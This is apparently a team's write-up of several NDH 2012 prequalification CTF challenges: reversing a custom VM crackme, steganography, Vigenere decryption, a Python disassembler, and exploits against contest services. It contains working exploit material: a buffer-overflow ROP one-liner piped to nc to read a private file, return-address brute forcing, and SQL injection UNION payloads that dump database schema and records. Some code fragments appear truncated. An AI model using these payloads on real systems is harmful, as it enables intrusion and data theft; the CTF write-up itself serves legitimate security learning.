0x83c8: call 0xff3f		; --> 0x830b (return *R0 = get password[i], the value of the char to be tested)
0x83cc: xor r0, r2		; --> XOR
0x83d0: mov r1, r0		
0x83d4: mov r0, r3		
0x83d8: call 0xff42		; --> 0x831e (write_r1_at_r0 = write the xored value at password[i])
0x83e4: ret

This one takes the previous value at 0x7 and XOR the current byte of the password with it.
Now 0x7 :

0x849e: call 0xfe8f		; --> 0x8331 (get_next_element = index i in the password of the char to be tested)
0x84a2: call 0xfe65		; --> 0x830b (return *R0 = get password[i], the value of the char to be tested)
0x84a6: mov r1, r0		
0x84aa: call 0xfe83		; --> 0x8331 (get_next_ element = always 7)
0x84ae: call 0xfe59		; --> 0x830b (return *R0 == get [0x07])
0x84b2: mov r2, r0	
0x84b6: cmp r1, r2		; --> CMP password[i], [0x7]
0x84ba: movl r1, #0x00	; --> R1 = 0
0x84bf: jnz 0x0002
0x84c2: inc r1			; --> R1 = 1
0x84c4: movl r0, #0x08	; --> R0 = 8
0x84c9: call 0xfe51		; --> 0x831e (write_r0_at_r1 = writes the result of CMP at 0x8)
0x84d3: ret

This routine compares the current byte of the password with some value stored in 0x7.
And finally 0x9 :

0x8504: call 0xfe29		; --> 0x8331 (get_next_element = always 0x2)
0x8508: mov r1, r0		
0x850c: movl r0, #0x0008	; --> R0 = 8
0x8511: call 0xfdf6		; --> 0x830b (return *R0 = get [0x08])
0x8515: test r0, r0
0x8518: jnz 0x0008
0x851b: mov r0, r1
0x851f: call 0xfe30		; --> IF [0x08] == 0 THEN : 0x8353 (change_program_counter by 0x2)
0x8527: ret

This one changes the program counter by 0x2 if the previous comparison fails.

We now know how one byte of the password is checked :

  • 0x02 : store next element at 0x7
  • 0x06 : XOR password[i] and [0x7]
  • 0x02 : store next element at 0x7
  • 0x07 : compare xored value and [0x7] and write the result at 0x8
  • 0x09 : f*ck up program counter if [0x8] is 0

So with 3 breakpoints in routines of opcodes 0x6, 0x7 and 0x9, we can get the xor keys and the xored values :

niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug
[Console]#> bp 0x83c0
Breakpoint set in 0x83c0
[Console]#> bp 0x84b6
Breakpoint set in 0x84b6
[Console]#> bp 0x8515
Breakpoint set in 0x8515
[Console]#> run
[SYSCALL output]: Please enter Sciteek admin password:
[BreakPoint 1 - 0x83c0]
0x83c0 > mov r2, r0
[Console]#> info reg
[r0]: 004d		; --> first xor key is 0x4d
[Console]#> run
[BreakPoint 2 - 0x84b6]
0x84b6 > cmp r1, r2
[Console]#> info reg
[r0]: 0078		; --> first xored value is 0x78
[Console]#> run
[BreakPoint 3 - 0x8515]
0x8515 > test r0, r0
[Console]#> set r1=1	; --> set the result of the comparison to 1
r1 = 0x0001
[Console]#> run


And so on for the 7 bytes of the password :)

Now we xor all this and get the password :

>>> a = [0x4d, 0x61, 0x72, 0x31, 0x30, 0x4c, 0x64]
>>> b = [0x78, 0x02, 0x43, 0x45, 0x03, 0x7f, 0x0f]
>>> print ''.join([ chr(a[i] ^ b[i]) for i in range(len(a)) ])

Bazinga \o/

NDH2k12 Prequals - unknown binary, need your help - Strange binary file

From: Jessica <>
To: w3pwnz <>
Subject: unknown binary, need your help
Attachments : executable1.ndh
Hello again,

Thank you very much for your help. It is amazing that our technical staff and
experts did not manage to recover any of it: the password sounds pretty weak.
I will notify our head of technical staff.

Anyway, I forwarded them the file for further investigation. Meanwhile, we got
fresh news from our mystery guy. He came along with an intersting binary file.
It just looks like an executable, but it is not ELF nor anything our experts
would happen to know or recognize. Some of them we quite impressed by your skills
and do think you may be able to succeed here. I attached the file, if you discover
anything, please send me an email entitled "Strange binary file".

This will be rewarded, as usual. By the way, your account has just been credited
with $100.


We first noticed the two strings "Good password" and "Bad password" at the end of the file. An easy way to attack a crackme is to search for string references in the code. The disassembly from vmndh tells us that the "Bad password" string is loaded in 0x8480, and referenced from

0x82d4: movl r0, #0x8480
0x82d9: call 0xffdd
0x82dd: ret

This is the "bad boy" case, and whatever "call 0xffdd" is, it must be the impression routine. There were two methods to get the actual adresses of the calls: check them in the debugger, or patch the disassembled output to translate relative calls into absolute ones. This is what does.

With it, we can see that the address 0x82d4 is called 9 times between 0x82e8 and 0x83e1, just after "jz" instructions.

A first test is made, that checks the length of the input:

0x82e8: mov r7, r0
0x82ec: movl r6, #0x840d
0x82f1: call 0x8003
0x82f5: cmpb r0, #09        ; 9 bytes (8 without "\x0a")
0x82f9: jz 0x0005
0x82fc: call 0x82d4         ; -> bad boy
0x8300: end

After that, each time the bytes pointed by r7 and r6 are xored together and compared to a hardcoded value. Then r7 and r6 are incremented:

0x8301: mov r0, [r7]
0x8305: mov r1, [r6]
0x8309: xor r0, r1
0x830d: cmpb r0, #78
0x8311: jz 0x0005
0x8314: call 0x82d4
0x8318: end
0x8319: inc r7
0x831b: inc r6

Let's load the program in the debugger and put a breakpoint at 0x8301, to see what these registers point to:

[BreakPoint 1 - 0x8301]
0x8301 > mov r0, [r7]
[Console]#> info reg
[r0]: 0061	[r4]: 0000
[r1]: 0000	[r5]: 0000
[r2]: 7fda	[r6]: 840d
[r3]: 001f	[r7]: 7fda
[bp]: 7ffa	[zf]: 0001
[sp]: 7fd8	[af]: 0000
[pc]: 8305	[bf]: 0000
[Console]#> x/x 7fda:8
0x7fda: 61 62 63 64 65 66 67 68     <- our input
[Console]#> x/x 840d:8
0x840d: 02 05 03 07 08 06 01 09     <- the key

According to the cmpb instructions, the result must be 78 44 73 6b 61 3e 6e 5e. The correct input is therefore

>>> format(0x7844736b613e6e5e ^ 0x0205030708060109,"x").decode("hex")

Let’s use it:

~/ndh2012$ nc 4001
Sciteek protected storage #1
Enter your password: zApli8oW
<PSP version="1.99">
Welcome on SciPad Protected Storage.

The most secure storage designed by Sciteek. This storage protocol
allows our users to share files in the cloud, in a dual way.

This daemon has been optimized for SciPad v1, running SciOS 16bits
with our brand new processor.
An unexpected error occured: PSP-UNK-ERR-001> application closed.

NDH2k12 Prequals - Another weird link - complex remote service

From: Piotr <>
To: w3pwnz <>
Subject: Another weird link
Attachments : web3.ndh
Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named "sciteek-private.txt"
located at Please find the .ndh attached, if
you are sucessfull, reply with a message entitled "complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.


We disassembled it using the unlocked VM tool (cf. Unknown zip archive), and used the following python script to patch call format:

#!/usr/bin/env python
import sys
import re
def rel(line, size=4):
    fro, off = re.findall("0x([0-9a-f]{1,4})", line)
    ifro, ioff = int(fro, 16), int(off, 16)
    if ioff > 0x8000:
        ioff = ioff - 0x10000
    ito = ifro + 4 + ioff
    line = line.replace(off, format(ito, "04x"))
    return line
if __name__=="__main__":
    for line in open(sys.argv[1]).readlines():
        if " call" in line:
            print rel(line),
            print line,


0x8497: call 0x84ed
0x849b: mov r0, r2
0x849f: movl r1, #0x847c
0x84a4: movb r2, #0x03
0x84a8: call 0x80c0
0x84ac: cmpb r0, #00
0x84b0: jnz 0x0009
0x84b3: movl r0, #0x8400
0x84b8: call 0x8179
0x84bc: end
0x84bd: pushl #beef  ; Push a canary
0x84c2: nop
0x84c3: mul r2, r4
0x84c7: nop
0x84c8: .byte 0x00
0x84c9: .byte 0x00
0x84ca: .byte 0x00
0x84cb: mov r1, r8
0x84cf: movl r2, #0x03fc  ; Read 1020 bytes
0x84d4: call 0x81d8
0x84d8: mov r0, r1
0x84dc: addl r8, #0200
0x84e1: pop r1
0x84e3: cmpl r1, #beef
0x84e8: jz 0x0001
0x84eb: end
0x84ec: ret
0x84ed: subl r8, #0200 ; Reserve 512 bytes
0x84f2: call 0x84bd
0x84f6: addl r8, #0200                                                
0x84fb: ret

We begin with the call @0x8497, follow it to 0x84ed where 512 bytes are reserved on the stack. A fixed canary “0xbeef” is then pushed on the stack, it calls the following function: read()

So sys_read is invoked, with a specified size of 1020 (0x84cf: movl r2, #0x03fc). There is an obvious buffer overflow. Unfortunatly (but that’s moar fun), the stack is not executable because of NX bit:

% python -c 'print "A"*512+"\xef\xbeBBCC"'|nc 4005
[!] Segfault 0x4242 (NX bit)

We assumed ASLR was on and no PIE, let’s ROP :)

We want to proceed as below:

movl r3, #0x20
movl r2, #0x2000
movl r1, #0
movl r0, 3
syscall                         ; read
mov r1, r2 
movl r2, #0
movl r0, #2
syscall                         ; open
mov r1, r0
movl r2, #0x3000
movl r3, #0x1024
movl r0, #3
syscall                         ; read
mov r3, r0
movl r1, #1
movl r0, #4
syscall                         ; write

Our ROP gadgets:

        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81d2: movb r0, #0x02
        0x81d6: syscall
        0x81d7: ret
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81e0: mov r1, r0
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
        0x818f: movb r1, #0x01
        0x8193: movb r0, #0x04
        0x8197: syscall
        0x8198: pop r1
        0x819a: pop r0
        0x819c: ret

ROP Payload:


We then fill the first read (0x3fc bytes) with junk:

‘Z’ * (0x3fc - len(payload) - 512)

And our file: “sciteek-private\x00”.

So, our buffer overflow is as follows: [JUNK][CANARY][ROP PAYLOAD][JUNK][FILENAME]

Finally our python one-liner:

python -c 'from struct import pack; print "A"*512+"\xef\xbe"+"".join(pack("<H", i) for i in [0x8172, 0x14, 0x2000, 0x0, 0x81e4, 0x8174, 0x0, 0x2000, 0x81d2, 0x8172, 0x1024, 0x3000, 0xdead, 0x81e0, 0x818f])+"Z"*0x1dc+"sciteek-private.txt\x00"'|nc 4005
Dear Patrick,
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
David Markham.
[!] Segfault 0x5a5a (NX bit)

NDH2k12 Prequals - Any idea how to use this file? - Unknown file extension

After decrypting the secret message, we got a new email, from Piotr this time, a supposed technical operative.

From: Piotr <>
To: w3pwnz <>
Subject: Any idea how to use this file?
Attachments : webApp.ndh

Great job there! You seem to be quite a great cryptograph, wow. Your account has been credited with $100. Btw, I'm Piotr, from the technical staff. Maybe Jessica told you about me, we will interact directly about complex questions.

Anyway, our anonymous contact at Sciteek has sent us another binary file with that strange extension, will you be able to break it? If you manage so, please contact me directly with the subject "Unknown file extension", $1700 dollars to earn!


As you can see, he asks us to study a file which format and extension are unknown.
The file is pretty small (897 bytes), and contains some strings :

# strings webApp.ndh
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase:
Nope. It is not the good password

We can easily recognize the other strings as coming from the pseudo-assembly code decrypted. A quick look at it shows a blatant 10-bytes read while the function frame is only 8-bytes long. We can quickly check this buffer overflow on the online service:

# nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: 0123456789
[!] Segfault 0x3938 (opcode unknown)

From the plain ASM, we also spot a debug function whose job is to display the “esoasoel.txt” file, obvious candidate for our BoF. From there on, two options: bruteforcing the possible return addresses or reversing the file format to find the actual offset of the debug function.

Step 1 : The Easy Way

The address space is only 16-bits long and we haven’t enough place for a shellcode anyway: we chose to bruteforce it - at the time, we did not have the NDH virtual machine from the rar archive to directly get the correct offset. The only trick here is to think about injecting 9 bytes instead of 10 to get the heavy-weighted one:

$ perl -e 'print "A"x9' | nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: [!] Segfault 0x8241 (opcode unknown)

The assembly suggests that the debug function we are looking for is farther ahead in the code segment than the call :ask_password, so we launched a bruteforce from 0x8200 to 0x83ff included.
Finally, Ezekiel 25:17 pops up:

# python -c "print 'A'*8+'\xdb\x82'" | nc 4000

Welcome on SciPad Shell, root.

The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. 
Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children. 
And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy My brothers. 
And you will know My name is the Lord when I lay My vengeance upon thee.

- God (f98eb53e7960c9a663c60a916b6de70e)

Be careful, this service is not protected by any option, to avoid exploitation please use the new version of this shell available on 
This service runs in a vm with stack layout randomization which is more secure

Something's fucked up ('cause our developers drink too much beer).
Try later. Or not.

Step 2 : The hard way, ‘cuz you’re a grown up and all.

First we have to study the binary. So hex editor it is.

The first four bytes indicate the file type, here NDH. The two following bytes indicate the size of the code and data section : the end offset is 0x37F, and 0x37F - FILE_TYPE_FIELD_SIZE (4) = 0x37B.

The data section is localized at the end of the file :


We recognize the strings from the pseudo ASM code with a little difference : the name of the text file.

Now we have to find the function that displays the file content. Thanks to the Scios Instruction Set we extracted from the audio file, we know that the binary is mapped at the 0x8000 address. We manually compile the following statement :


MOVL R0, :FLAG_FILE give us the following opcodes :

04     02                   00    6e 83

The filename address is calculated by adding the filename offset in the file (0x374 - HDR_SIZE(6)) to the memory base address (0x8000) which give us 0x836E.
We can’t fully compile the next statement, because we don’t know where is the DISP_FILE_CONTENT function, however we know the compiled statement will be something like that :

19      04               XX XX

Consequently, we can look for the followings bytes in the binary :

04 02 00 6E 83 19 04


And we find them at the file offset 2E1 that we translate into memory address :

0x8000 + 0x2E1 - 0x6 (HDR_SIZE) = 0x82DB.

No surprise here, this is the address we found by bruteforcing the BoF. Well, that’s it.

NDH2k12 Prequals - We are looking for a real hacker - Wallpaper image

The bmp file has no padding bytes, and its size matches the image dimensions (4374054 = 810*1800*3 +0x36 for the header).
On the other hand, applying an LSB filter reveals that something is wrong on the left side of the image (the 630 first columns from the left look filled with random bits).
The three colors are affected in the same way, and the second LSB is normal. So, we certainly have an LSB encoding with one bit per byte.

The fact that the bits form a rectangle suggests the encoding was done following the image order rather than the file order. The two most logical choices (for occidentals) are left-to-right and up-to-down. I was going for the former; the grace of the random Bug made me do the latter first.

Here is how the data begin:

00 02 eb 9b 78 9c d4 b9 65 54 ...

The index of coincidence reveals a flat distribution. The data could be either encrypted or compressed. But then, the two first bytes are suspiciously low.
0x2eb9b (191387) is also very close to the rectangle size: 630*810*3 / 8 = 191362. And as it happens, 78 9C is a typical beginning for strings compressed with zlib (deflate algorithm).

Quote from :

The header byte 78 meaning “deflate compression with a 32 KiB window”.
The informational byte 9c meaning “the default compression algorithm was used” (plus a checksum).”

So all that has to be done is to extract the least significant bits in column-major (up-to-down), skip the first four bytes indicating the size of the file, and decompress the rest with zlib.

The output file is a pdf describing a few products from SCIOS. This file is the flag.

import sys, zlib,Image, struct
bmp ="sp113.bmp")
pix = bmp.load()
lsb = []
for x in range(640):
    for y in range(810):
        lsb.extend( str(i&1) for i in pix[(x,y)] )
lsb = "".join(lsb)
lsb = "".join(chr(int(lsb[i:i+8],2)) for i in range(0,len(lsb),8))
length = struct.unpack(">I",lsb[:4])[0]
pdf = zlib.decompress(lsb[4:4+length])
outfile = open("sp113.pdf","wb") #"b" is for windows users


NDH2k12 Prequals - We are looking for a real hacker - Unknown text

File sp111

After opening the sp111 text file, we guessed that it was encrypted with vigenere.

We tried an auto-decrypt with, revealing that “OFJZUANDEOQDK” would be the most probable key.

We reconstructed the following plain text :

; HI,
   SUBB SP, #8
   MOV R5, SP
   MOV R1,  R5
   MOVB R2, #10
   ADDB SP, #8
   ; QUIT

NDH2k12 Prequals - What is it about this file? - Binary file ndh


File: 11925.ndh

Once again it is a VM file. We quickly take a look at the hexdump to find the remote port used (4004).

% tail 11925.ndh|hexdump -C
00000000  00 16 b7 0e 00 02 02 04  00 00 02 03 04 03 03 03  |................|
00000010  02 03 01 1a 01 03 00 01  03 01 04 00 01 00 19 04  |................|
00000020  7c fe 04 00 03 00 04 00  02 01 04 01 01 01 04 01  ||...............|
00000030  00 04 30 03 01 03 00 1a  01 03 00 01 03 03 0e 00  |..0.............|
00000040  03 03 18 00 03 02 10 0d  00 1e 0a 00 04 06 00 01  |................|
00000050  0a 03 0a 00 16 ec 03 03  03 00 1a 04 00 01 00 04  |................|
00000060  01 00 05 30 1a 04 00 02  01 04 00 01 00 04 01 00  |...0............|
00000070  02 30 1a 04 00 03 02 04  00 02 01 04 00 01 00 04  |.0..............|
00000080  01 00 03 30 1a 01 03 03  04 00 03 02 04 00 02 01  |...0............|
00000090  04 00 01 00 04 01 00 11  30 03 03 1a 01 03 01 01  |........0.......|
000000a0  03 02 01 03 03 01 03 04  01 03 05 04 02 01 00 00  |................|
000000b0  19 04 b1 ff 18 02 00 ff  ff 11 0f 00 0e 00 00 00  |................|
000000c0  03 05 03 04 03 03 03 02  03 01 1a 04 00 03 00 04  |................|
000000d0  02 01 00 00 04 02 02 02  00 19 04 a8 ff 04 00 04  |................|
000000e0  00 0a 04 04 00 00 03 04  02 01 00 00 04 02 02 00  |................|
000000f0  00 19 04 90 ff 07 00 08  04 04 00 05 08 04 00 00  |................|
00000100  03 04 00 01 08 04 00 02  04 19 04 66 ff 06 00 04  |...........f....|
00000110  05 0b 04 04 07 04 00 04  00 00 05 19 04 f5 fe 04  |................|
00000120  01 00 01 0a 04 07 00 04  05 06 00 08 04 03 05 03  |................|
00000130  04 03 03 03 02 03 01 1a  04 02 00 10 83 19 04 d3  |................|
00000140  fe 07 01 08 32 04 00 05  08 04 02 00 00 00 04 00  |....2...........|
00000150  01 05 04 01 02 36 19 04  19 ff 04 02 00 11 11 04  |.....6..........|
00000160  00 01 05 04 02 02 32 00  19 04 5b fd 06 01 08 32  |......2...[....2|
00000170  1a 04 02 00 11 11 04 02  01 5e 83 04 02 02 00 01  |.........^......|
00000180  19 04 d7 fd 11 0d 00 0a  07 04 02 00 51 83 19 04  |............Q...|
00000190  0a ff 16 09 04 02 00 42  83 19 04 77 fe 1a 0e 00  |.......B...w....|
000001a0  07 07 19 04 92 ff 19 04  c7 ff 1c 50 61 73 73 77  |...........Passw|
000001b0  6f 72 64 20 28 72 65 71  75 69 72 65 64 29 3a 20  |ord (required): |
000001c0  00 73 63 69 74 65 65 6b  2e 6e 75 69 74 64 75 68  |.sciteek.nuitduh|
000001d0  61 63 6b 2e 63 6f 6d 3a  34 30 30 34 00 42 61 64  ||
000001e0  20 70 61 73 73 77 6f 72  64 2e 0a 00 62 6b 46 53  | password...bkFS|
000001f0  6d 4a 6c 58 2e 74 78 74  00 5a 6f 6d 66 67 53 63  |mJlX.txt.ZomfgSc|
00000200  69 50 61 64 57 69 6c 6c  52 30 78 78 44 34 46 75  |iPadWillR0xxD4Fu|
00000210  63 6b 31 6e 77 30 52 4c  64 21 21 21 0a 00        |ck1nw0RLd!!!..|

There are some weird strings at the end, we look closer...

% strings 11925.ndh             
Password (required):
Bad password.

It looks like a flag! There is no way that can be true!

% nc 4004
Password (required): ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!
You are now authenticated

Yeah well, it was actually that simple, we got the flag, and a nice facepalm because we also reversed it, which was useless here...

Flag: ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!

Btw, meanwhile, we developped a small disassembler in python. We cracked the rar file and accessed the VM source when we just finished. FU.
We used the instruction set unlocked with the .wav challenge ;)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from struct import pack, unpack
START  = 0x6
BASE_ADDR = 0x8000
OPCODES = { 0x06 : 'ADD',   0x0d : 'AND',   0x19 : 'CALL',      0x18 : 'CMP',   0x0b : 'DEC',
            0x09 : 'DIV',   0x0a : 'INC',   0x1b : 'JMPL',      0x16 : 'JMPS',  0x11 : 'JNZ',
            0x10 : 'JZ',    0x1e : 'JA',    0x1f : 'JB',        0x04 : 'MOV',   0x08 : 'MUL',
            0x02 : 'NOP',   0x0f : 'NOT',   0x0c : 'OR',        0x03 : 'POP',   0x01 : 'PUSH',
            0x1a : 'RET',   0x07 : 'SUB',   0x30 : 'SYSCALL',   0x17 : 'TEST',  0x1d : 'XCHG',
            0x0e : 'XOR'
NOFLAG  = ( 'DEC', 'INC', 'JMPL', 'JMPS', 'JNZ', 'JZ', 'JA', 'JB', 'NOP', 'NOT', 'POP', 'RET', 'SYSCALL', 'TEST', 'XCHG' )
FLAGS   = { 0x00 : 'REG_REG',               0x01 : 'REG_DIRECT8', 
            0x02 : 'REG_DIRECT16',          0x03 : 'REG',
            0x04 : 'DIRECT16',              0x05 : 'DIRECT8',
            0x06 : 'REGINDIRECT_REG',       0x07 : 'REGINDIRECT_DIRECT8',
            0x0a : 'REG_REGINDIRECT'
REG_REG                                 => op entre 2 registres
REG_DIRECT8                             => op entre 1 reg et 1 octet
REG_DIRECT16                    => op entre 1 reg et 2 octets
REG                                             => op sur un reg
DIRECT16                                => 2 octets
DIRECT8                                 => 1 octet
REGINDIRECT_REG                 => op entre [reg] et reg
REGINDIRECT_DIRECT8             => op entre [reg] et 1 octet
REGINDIRECT_DIRECT16    => op entre [reg] et 2 octets
REGINDIRECT_REGINDIRECT => op entre [reg] et [reg]
REG_REGINDIRECT                 => op entre reg et [reg]
# opcode = 1 byte
# flag = 1 byte
# reg = 1 byte
# DIR8 / DIR16 = 1/2 bytes
def get_reg( num ) :
    if num >= 0 and num <= 9 :
        if num == 9 :
            return 'BP'
        elif num == 8 :
            return 'SP'
            return 'R' + str(num)
    else :
        return '#FAIL' + str(num) # <- c'est moche
def reg_reg(reg1, reg2):
    print("%s, %s" % (get_reg(reg1), get_reg(reg2)))
def reg_direct8(reg, direct):
    print("%s, BYTE %xh" % (get_reg(reg), direct))
def reg_direct16(reg, direct):
    print("%s, SHORT %xh" % (get_reg(reg), direct))
def direct16(direct):
    print("SHORT %xh" % direct)
def direct8(direct):
    print("BYTE %xh" % direct)
def reg(reg):
def regindirect_reg(reg1, reg2):
    print("[%s], %s" % (get_reg(reg1), get_reg(reg2)))
def regindirect_direct8(reg, direct):
    print("[%s], BYTE %xh" % (get_reg(reg), direct))
def regindirect_direct16(reg, direct):
    print("[%s], SHORT %xh" % (get_reg(reg), direct))
def regindirect_regindirect(reg1, reg2):
    print("[%s], [%s]" % (get_reg(reg1), get_reg(reg2)))
def reg_regindirect(reg1, reg2):
    print("%s, [%s]" % (get_reg(reg1), get_reg(reg2)))
def extract(code):
    flag = ord(code[0])
    size = 3 # flag = 1 byte, lval = 1byte, rval = 1+ byte
    lval = ord(code[1])
    rval = ord(code[2])
    if "DIRECT16" in FLAGS[flag]: # rval = 2 bytes
        size += 1
        rval = int(unpack("<H", code[2:4])[0])
    globals()[FLAGS[flag].lower()](lval, rval)
    return size
def disass_DEC(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_INC(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_JMPL(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JMPS(code):
    print hex(ord(code[0]))
    return 1
def disass_JNZ(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JZ(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JA(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JB(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_NOP(code):
    return 0
def disass_NOT(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_POP(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_RET(code):
    return 0
def disass_SYSCALL(code):
    print "R0 (R1..R4)"
    return 0
def disass_TEST(code):
    print get_reg(ord(code[0])) + ', ' + get_reg(ord(code[1]))
    return 2
def disass_XCHG(code):
    print get_reg(ord(code[0])) + ', ' + get_reg(ord(code[1]))
    return 2
def disass_CALL(code):
    flag = ord(code[0])
    if FLAGS[flag] is 'REG' :
        print get_reg(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT16' :
        #print hex( unpack('<H', code[1:3])[0] )
        offset = unpack('<h',code[1:3])[0]
        print hex( cursor + 3 + 6 + offset ) #3 pour l'instruction, 6 pour le header
        return 3
        print "<Warning : invalid flag %x>" % flag
def disass_PUSH(code):
    flag = ord(code[0])
    if FLAGS[flag] is 'REG' :
        print get_reg(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT8' :
        print hex(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT16' :
        print hex( unpack('<H', code[1:3])[0] )
        return 3
        print "<Warning : invalid flag %x>" % flag
def die( txt ) :
        print txt
def get_opcodes_str(code):
    return " ".join("%02x" % ord(code[i]) for i in range(5))
def main( argc, argv ) :
    f = open( argv[1], 'rb' )
    data =
    if "-raw" in argv:
        code = data
    	if data[:4] != '.NDH' :
        	die( 'Bad ndh header' )
        code = data[START:STOP]
    #if data[:4] != '.NDH' :
    #    die( 'Bad ndh header' )
    #code = data[START:STOP]
    global cursor
    cursor = 0
    while cursor < len(code) :
        opcode = ord(code[cursor])
        cursor += 1
        if opcode not in OPCODES :
            print "Warning : skipping unknown opcode %02x" % opcode
        offset = "0x%04x | " % (START + cursor - 1)
        addr = '[' + hex(BASE_ADDR + cursor - 1) + '] '
        opcodes_dump = get_opcodes_str(code[cursor - 1:]) + "\t\t"
        sys.stdout.write(offset + addr + opcodes_dump + ' ' + OPCODES[opcode] + ' ')
        if OPCODES[opcode] in NOFLAG or OPCODES[opcode] in SPECIAL :
            cursor += globals()[ 'disass_' + OPCODES[opcode] ]( code[cursor:] )
        else :
            cursor += extract( code[cursor:] )
if __name__ == '__main__' :
        sys.exit( main( len( sys.argv ), sys.argv ) )

NDH2k12 Prequals - New email from our contact - Sciteek shortener


According to the description was a url shortening service.

After searching about how these services work i found two “common” practises.

The first was inserting urls in the database and then transforming the ID of that record to Base36 (letters a-z digits 0-9) or some other custom encryption and using it as an alias. But since the alias in the link given had both uppercase, lowercase characters and digits the transformation must be Base62 or it was using some other way to map aliases to urls. Base62 didn’t give us any results so we moved towards the second way of mapping.

That was entering the alias and url in separate fields in the database. So the alias was taking part in an sql query that could be prone to SQL Injection and thus our way in.

Testing this idea with’ UNION SELECT @@version-- a%%%

gave us the first result. The version of the database was returned in the url so alias was passed unfiltered.

Now we just had to find the table and column names.

Some queries to information_schema did the trick:' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 0,1-- a

returns shortner id' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 1,1-- a

returns shortner alias' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 2,1-- a

returns shortner url

Next was to find out how many ids are in the table.
Asking the polite database' UNION SELECT CONCAT(min(id),' ',max(id),' ',count(*)) from shortner-- a

answered with 33 43 11 so there are 11 records in the database starting with id 33 up to 43.
So no need for a bruteforcer to get all records.

The precious flag was in id 40' UNION SELECT CONCAT(url,' ',alias) FROM shortner WHERE id=40-- a 5867hjgjhgffdedeseddf7967


Bonus url : Google :? CTF Ranking Rickrolling ;-) WTF !?

- page 1 of 2